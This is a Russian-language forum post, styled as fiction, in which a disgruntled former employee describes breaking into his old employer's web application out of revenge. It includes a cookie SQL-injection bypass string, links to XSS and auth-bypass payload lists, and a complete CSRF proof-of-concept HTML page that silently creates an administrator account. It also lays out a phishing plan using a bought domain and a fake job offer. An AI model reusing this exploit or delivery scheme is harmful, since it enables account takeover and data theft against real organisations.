ДИСКЛЕЙМЕР
Данные рукописи являются полным вымыслом автора. Любые совпадения с реальными людьми или уязвимостями — чистая случайность.
Информация предоставлена только для образовательных целей. Любое повторение прочитанного в реальном мире, приведёт вас к неминуемым проблемам с законом.
Лирическое отступление
Вавилен был доволен своим рабочем местом в конторе. Он зарабатывал деньги себе и своему начальству, которое предоставляло для этого инфраструктуру. Но в один момент, начальство, очередной раз заработав на труде Вавилена, решает с ним не делиться. Они теряют ценного сотрудника и получают обманутого человека, который жаждет возмездия.
Постановка цели
После ухода из конторы, все наши права на доступ к инфраструктуре были отозваны. Основные ресурсы бизнеса располагаются в веб-приложении, которое обрабатывает массивы данных. Компрометация веб-приложения позволит заполучить всю нужную информацию. В истории нашего браузера остался IP адрес сервера.
Изучение цели
Чтобы не привлекать внимания жертвы, было принято решение развернуть аналогичный софт в лаборатории. ПО предоставляется по подписке. Есть вариант с семидневным пробным периодом с предоставлением VPS. Очень удобно для наших тестов. Использовал 10 минутную почту, зарегистрировался, установил софт, установил пробную лицензию. Можно работать.
Начальная страница предоставляет собой стандартную форму логина.
Изучаю механизм аутентификации. При логе происходит отправка
POST
запроса в application/json
формате.JWT
При успешном входе ответом выдаёт куку с JWT вида
content=AA.BBB.C
. Через jwt[.]io
просматриваю значения JSON Web Tokens. Тут зашифрованы поля login и password. В login используется хэш MD5, в password хэш blowfish. Путём теста прихожу к выводу, что значения зашифрованы с солью. Если бы мы имели чёткое представление как происходит шифрование, мы могли бы подделать слабый JWT.Стандартные доступы
Приложение выдало стандартный логин admin. Пароль генерируется длиной 12 символов, крайне стойкий для подбора. Если бы приложение выдало стандартный пароль или если бы он был слабый, мы могли бы его подобрать.
Взлом Wi-Fi для перехвата трафика
Примечательно, что по умолчанию подключение происходит по HTTP. Теоретически возможно взломать Wi-Fi роутер и перехватить трафик в plain text, но не наш случай, т.к. пользователи используют USB мобильные модемы.
Слабая защита от грубой силы
Проверяю защиту от брутфорса admin/admin admin/password ... — через 5 попыток блокировка по IP. Попробовал трюк с обходом блокировки по IP. Добавил в Head заголовок типа X-Forwarded-For, сервер не реагирует. Такое обходить будет проблематично, без использования пакета прокси или написание софта.
Публичные уязвимости
Что может быть легче, чем загуглить уязвимость приложения. Поиск дал результаты восьмилетней давности. Форму логина можно обойти классической SQL инъекцией в куках.
content=text%27%20OR%20%271%27%3D%271
. При декодировании с URL получаем content=text' OR '1'='1
. Как интересно. Дыра была давно залатана.При помощи BurpSuite Intruder пытаюсь подобрать пейлоуд, без успешно.
github[.]com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder/Auth_Bypass.txt
После многочисленных попыток найти слабое место в форме логина, решено проверить внутреннею часть платформы на возможные уязвимости.
Давайте перечислим возможные векторы атак. Атака на серверную часть и атака на клиентскую часть. Если с первым не получается, проверим второй список.
XSS
ПО принимала различные GET параметры клиентов, а после отображала массив данных в дашборде. Отправка и дальнейший просмотр пейлоудов не принёс успеха
github[.]com/payloadbox/xss-payload-list
. При удачной атаке, мы могли украсть куку пользователя.CSRF
Что насчёт CSRF? По мне так крайне скучная уязвимость, до боли банальная. Если пользователь с легитимной сессией перейдет по ссылке, то при срабатывании скрипта на
evil.com
отправится POST
запрос с подставкой куки пользователя.Что мы видим. Точнее не видим. На критическое действие, как создание админского аккаунта — 0 механизмов защиты от CSRF. Никакого токена или случайности.
При создании запроса на создание админки идёт
POST
запрос /admin/?object=account.create
с телом:С PoC мне пришлось повозиться, т.к. этот
POST
запрос формата application/json
имеет свои тонкости.
HTML:
<html>
<body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="http://SERVER_IP/admin/?object=account.create" method="POST">
<input id="json" type="hidden" name='json' value='"}'>
</form>
<script>
$(document).ready(function() {
$("#json").attr("name",'{"type":"ADMIN","preferences":{"timezone":"EST","language":"ca"},"login":"hacked_admin","new_password":"123=","new_password_confirmation":"123');
$("#myform").submit();});
</script>
</body>
</html>
Такой вод получился PoC. Jquery нужен для срабатывания скрипта на заднем фоне. Выглядит битым, но именно такая вариация работала после всех тестов.
Доставка
Пейлоуд был протестирован, осталось чтобы пользователь перешел по ссылке. По странным ссылкам пользователь не будет переходить, тем более что-то скачивать. Был выбран путь покупки домена под рабочую тематику. Был накинут сайт, внедрен скрипт, проверен.
Делаем рабочее предложение на корпоративную почту, делимся нашим рабочим сайтом с нагрузкой — воуля, успешная атака. После перехода пользователя по ссылке, на заднем фоне срабатывает script. Формируется POST запрос на сервер жертвы, т. к. жертва залогинена, подставляются легитимные куки.
Защита
В первую очередь, разработчики могли этого избежать, если бы знали, что это такое. Понимание веба и взаимодействие пользователей важный атрибут при безопасной разработке. Приложение нуждается в доработке путём внедрения защитных механизмов от CSRF. Продукт на рынке с десятых годов. Ребята могли и аудит приложения заказать
Я остался довольным своей работой.
Последнее редактирование модератором: